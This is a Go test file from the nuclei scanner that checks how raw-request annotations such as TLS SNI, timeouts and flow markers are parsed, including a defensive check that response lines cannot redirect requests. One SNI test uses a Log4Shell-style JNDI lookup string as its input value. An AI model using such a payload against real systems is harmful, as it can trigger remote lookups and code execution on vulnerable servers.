Repository navigation
Expand file tree
/
Copy pathrequest_annotations_test.go
More file actions
325 lines (274 loc) · 12.2 KB
/
Copy pathrequest_annotations_test.go
File metadata and controls
325 lines (274 loc) · 12.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
package http
import (
"context"
"fmt"
"io"
"net/http"
"net/http/httptest"
"strings"
"sync"
"sync/atomic"
"testing"
"time"
"github.com/projectdiscovery/gologger"
"github.com/projectdiscovery/nuclei/v3/internal/tests/testutils"
"github.com/projectdiscovery/nuclei/v3/pkg/model"
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"
"github.com/projectdiscovery/nuclei/v3/pkg/operators"
"github.com/projectdiscovery/nuclei/v3/pkg/operators/extractors"
"github.com/projectdiscovery/nuclei/v3/pkg/output"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs"
commoninteractsh "github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/interactsh"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/httpclientpool"
"github.com/projectdiscovery/retryablehttp-go"
"github.com/stretchr/testify/require"
)
func getExecuterOptions(t *testing.T) *protocols.ExecutorOptions {
t.Helper()
options := testutils.DefaultOptions.Copy()
options.Logger = &gologger.Logger{}
testutils.Init(options)
return testutils.NewMockExecuterOptions(options, nil)
}
func TestRequestParseAnnotationsSNI(t *testing.T) {
t.Run("compliant-SNI-value", func(t *testing.T) {
req := &Request{connConfiguration: &httpclientpool.Configuration{}}
rawRequest := `@tls-sni: github.com
GET / HTTP/1.1
Host: {{Hostname}}`
httpReq, err := retryablehttp.NewRequest(http.MethodGet, "https://example.com", nil)
require.Nil(t, err, "could not create http request")
overrides, modified := req.parseAnnotations(rawRequest, httpReq)
require.True(t, modified, "could not apply request annotations")
require.Equal(t, "github.com", overrides.request.TLS.ServerName)
require.Equal(t, "example.com", overrides.request.Host)
})
t.Run("non-compliant-SNI-value", func(t *testing.T) {
req := &Request{connConfiguration: &httpclientpool.Configuration{}}
rawRequest := `@tls-sni: ${jndi:ldap://${hostName}.test.com}
GET / HTTP/1.1
Host: {{Hostname}}`
httpReq, err := retryablehttp.NewRequest(http.MethodGet, "https://example.com", nil)
require.Nil(t, err, "could not create http request")
overrides, modified := req.parseAnnotations(rawRequest, httpReq)
require.True(t, modified, "could not apply request annotations")
require.Equal(t, "${jndi:ldap://${hostName}.test.com}", overrides.request.TLS.ServerName)
require.Equal(t, "example.com", overrides.request.Host)
})
t.Run("interactsh-without-client", func(t *testing.T) {
req := &Request{
options: &protocols.ExecutorOptions{},
connConfiguration: &httpclientpool.Configuration{NoTimeout: true},
}
rawRequest := `@tls-sni: interactsh-url
GET / HTTP/1.1
Host: {{Hostname}}`
httpReq, err := retryablehttp.NewRequest(http.MethodGet, "https://example.com", nil)
require.NoError(t, err)
overrides, modified := req.parseAnnotations(rawRequest, httpReq)
require.True(t, modified)
require.ErrorIs(t, overrides.err, commoninteractsh.ErrInteractshClientNotInitialized)
require.Empty(t, overrides.interactshURLs)
require.Same(t, httpReq, overrides.request)
require.Nil(t, overrides.cancelFunc)
})
}
func TestRequestParseAnnotationsTimeout(t *testing.T) {
t.Run("positive", func(t *testing.T) {
request := &Request{
options: getExecuterOptions(t),
connConfiguration: &httpclientpool.Configuration{NoTimeout: true},
}
rawRequest := `@timeout: 2s
GET / HTTP/1.1
Host: {{Hostname}}`
httpReq, err := retryablehttp.NewRequest(http.MethodGet, "https://example.com", nil)
require.Nil(t, err, "could not create http request")
overrides, modified := request.parseAnnotations(rawRequest, httpReq)
require.NotNil(t, overrides.cancelFunc, "could not initialize valid cancel function")
require.True(t, modified, "could not get correct modified value")
// Verify context has deadline
deadline, deadlined := overrides.request.Context().Deadline()
require.True(t, deadlined, "could not get set request deadline")
// Verify the timeout value is stored in context
customTimeout, ok := overrides.request.Context().Value(httpclientpool.WithCustomTimeout{}).(httpclientpool.WithCustomTimeout)
require.True(t, ok, "custom timeout not found in context")
require.Equal(t, 2*time.Second, customTimeout.Timeout, "timeout value mismatch")
// Verify deadline is approximately 2 seconds from now
expectedDeadline := time.Now().Add(2 * time.Second)
require.WithinDuration(t, expectedDeadline, deadline, 100*time.Millisecond, "deadline not set correctly")
})
t.Run("large-timeout", func(t *testing.T) {
request := &Request{
options: getExecuterOptions(t),
connConfiguration: &httpclientpool.Configuration{NoTimeout: true},
}
// Request a timeout of 10 minutes - should be capped at 5 minutes
rawRequest := `@timeout: 10m
GET / HTTP/1.1
Host: {{Hostname}}`
httpReq, err := retryablehttp.NewRequest(http.MethodGet, "https://example.com", nil)
require.Nil(t, err, "could not create http request")
overrides, modified := request.parseAnnotations(rawRequest, httpReq)
require.NotNil(t, overrides.cancelFunc, "could not initialize valid cancel function")
require.True(t, modified, "could not get correct modified value")
// Verify context has deadline
deadline, deadlined := overrides.request.Context().Deadline()
require.True(t, deadlined, "could not get set request deadline")
// Verify the timeout was capped at 5 minutes (not 10 minutes)
customTimeout, ok := overrides.request.Context().Value(httpclientpool.WithCustomTimeout{}).(httpclientpool.WithCustomTimeout)
require.True(t, ok, "custom timeout not found in context")
require.Equal(t, 5*time.Minute, customTimeout.Timeout, "timeout should be capped at 5 minutes")
require.Less(t, customTimeout.Timeout, 10*time.Minute, "timeout should be less than requested 10 minutes")
// Verify deadline matches the capped timeout
expectedDeadline := time.Now().Add(5 * time.Minute)
require.WithinDuration(t, expectedDeadline, deadline, 100*time.Millisecond, "deadline not set to capped timeout")
})
t.Run("below-cap-timeout", func(t *testing.T) {
request := &Request{
options: getExecuterOptions(t),
connConfiguration: &httpclientpool.Configuration{NoTimeout: true},
}
// Request a timeout of 2 minutes - should be allowed (below 5 minute cap)
rawRequest := `@timeout: 2m
GET / HTTP/1.1
Host: {{Hostname}}`
httpReq, err := retryablehttp.NewRequest(http.MethodGet, "https://example.com", nil)
require.Nil(t, err, "could not create http request")
overrides, modified := request.parseAnnotations(rawRequest, httpReq)
require.NotNil(t, overrides.cancelFunc, "could not initialize valid cancel function")
require.True(t, modified, "could not get correct modified value")
// Verify context has deadline
deadline, deadlined := overrides.request.Context().Deadline()
require.True(t, deadlined, "could not get set request deadline")
// Verify the timeout is NOT capped - should be 2 minutes
customTimeout, ok := overrides.request.Context().Value(httpclientpool.WithCustomTimeout{}).(httpclientpool.WithCustomTimeout)
require.True(t, ok, "custom timeout not found in context")
require.Equal(t, 2*time.Minute, customTimeout.Timeout, "timeout should be the requested 2 minutes")
// Verify deadline matches the requested timeout
expectedDeadline := time.Now().Add(2 * time.Minute)
require.WithinDuration(t, expectedDeadline, deadline, 100*time.Millisecond, "deadline not set to requested timeout")
})
t.Run("negative", func(t *testing.T) {
request := &Request{
options: getExecuterOptions(t),
connConfiguration: &httpclientpool.Configuration{},
}
rawRequest := `GET / HTTP/1.1
Host: {{Hostname}}`
httpReq, err := retryablehttp.NewRequestWithContext(context.Background(), http.MethodGet, "https://example.com", nil)
require.Nil(t, err, "could not create http request")
newRequestWithOverrides, modified := request.parseAnnotations(rawRequest, httpReq)
require.Nil(t, newRequestWithOverrides.cancelFunc, "cancel function should be nil")
require.False(t, modified, "could not get correct modified value")
_, deadlined := newRequestWithOverrides.request.Context().Deadline()
require.False(t, deadlined, "could not get set request deadline")
})
}
func TestRequestParseAnnotationsIgnoresLinesAfterRequestLine(t *testing.T) {
req := &Request{connConfiguration: &httpclientpool.Configuration{}}
rawRequest := "POST /probe HTTP/1.1\r\n" +
"Host: example.com\r\n" +
"\r\n" +
"hello\n@Host: http://127.0.0.1:8797\n@tls-sni: decoy.example\n"
httpReq, err := retryablehttp.NewRequest(http.MethodPost, "https://example.com/probe", nil)
require.NoError(t, err)
overrides, modified := req.parseAnnotations(rawRequest, httpReq)
require.False(t, modified)
require.Equal(t, "https://example.com/probe", overrides.request.String())
require.Nil(t, overrides.request.TLS)
}
// A response value reused in a raw request must stay request content even when
// one of its lines looks like an annotation. Annotations are only the lines
// before the request line.
func TestRawRequestReusingResponseWithAnnotationLine(t *testing.T) {
tests := []struct {
name string
unsafe bool
selfContained bool
}{
{name: "raw"},
{name: "unsafe", unsafe: true},
{name: "self-contained", selfContained: true},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
var decoyRequests atomic.Int32
decoy := httptest.NewServer(http.HandlerFunc(func(http.ResponseWriter, *http.Request) {
decoyRequests.Add(1)
}))
defer decoy.Close()
responseBody := fmt.Sprintf("hello\n@Host: %s\n", decoy.URL)
var mu sync.Mutex
var probes []string
target := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.URL.Path == "/source" {
_, _ = io.WriteString(w, responseBody)
return
}
body, _ := io.ReadAll(r.Body)
mu.Lock()
probes = append(probes, r.Method+" "+r.URL.Path+" "+string(body))
mu.Unlock()
}))
defer target.Close()
baseURL, host, input := "", "{{Hostname}}", target.URL
if tt.selfContained {
// A self-contained request names its own target.
baseURL, host, input = target.URL, strings.TrimPrefix(target.URL, "http://"), ""
}
probeHeaders := "Host: " + host + "\nContent-Type: text/plain\n"
if tt.unsafe {
// An unsafe request is sent as written, so it states its own length.
probeHeaders += "Content-Length: {{len(tpl)}}\n"
}
request := &Request{
ID: "testing-http-response-annotation-line",
Unsafe: tt.unsafe,
SelfContained: tt.selfContained,
Raw: []string{
"GET " + baseURL + "/source HTTP/1.1\nHost: " + host + "\n\n",
"POST " + baseURL + "/probe HTTP/1.1\n" + probeHeaders + "\n{{tpl}}",
},
Operators: operators.Operators{
Extractors: []*extractors.Extractor{{
Name: "tpl",
Part: "body",
Type: extractors.ExtractorTypeHolder{ExtractorType: extractors.RegexExtractor},
Regex: []string{`(?s).+`},
Internal: true,
}},
},
}
options := testutils.DefaultOptions
testutils.Init(options)
executerOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{
ID: request.ID,
Info: model.Info{SeverityHolder: severity.Holder{Severity: severity.Info}, Name: "test"},
})
require.NoError(t, request.Compile(executerOpts))
err := request.ExecuteWithResults(
contextargs.NewWithInput(context.Background(), input),
make(output.InternalEvent),
make(output.InternalEvent),
func(*output.InternalWrappedEvent) {},
)
require.NoError(t, err)
require.Zero(t, decoyRequests.Load(), "a response line must not redirect the request")
mu.Lock()
defer mu.Unlock()
require.Equal(t, []string{"POST /probe " + responseBody}, probes)
})
}
}
func TestTemplateAnnotationsAfterRequestLine(t *testing.T) {
const request = "GET / HTTP/1.1\r\nHost: {{Hostname}}\r\n\r\n@timeout: 5s\r\n@once\r\n"
require.False(t, hasTimeoutAnnotation(request))
require.True(t, hasTimeoutAnnotation("@timeout: 5s\r\n"+request))
_, hasFlowOverride := parseFlowAnnotations(request)
require.False(t, hasFlowOverride)
mark, hasFlowOverride := parseFlowAnnotations("@once\r\n" + request)
require.True(t, hasFlowOverride)
require.Equal(t, Once, mark)
}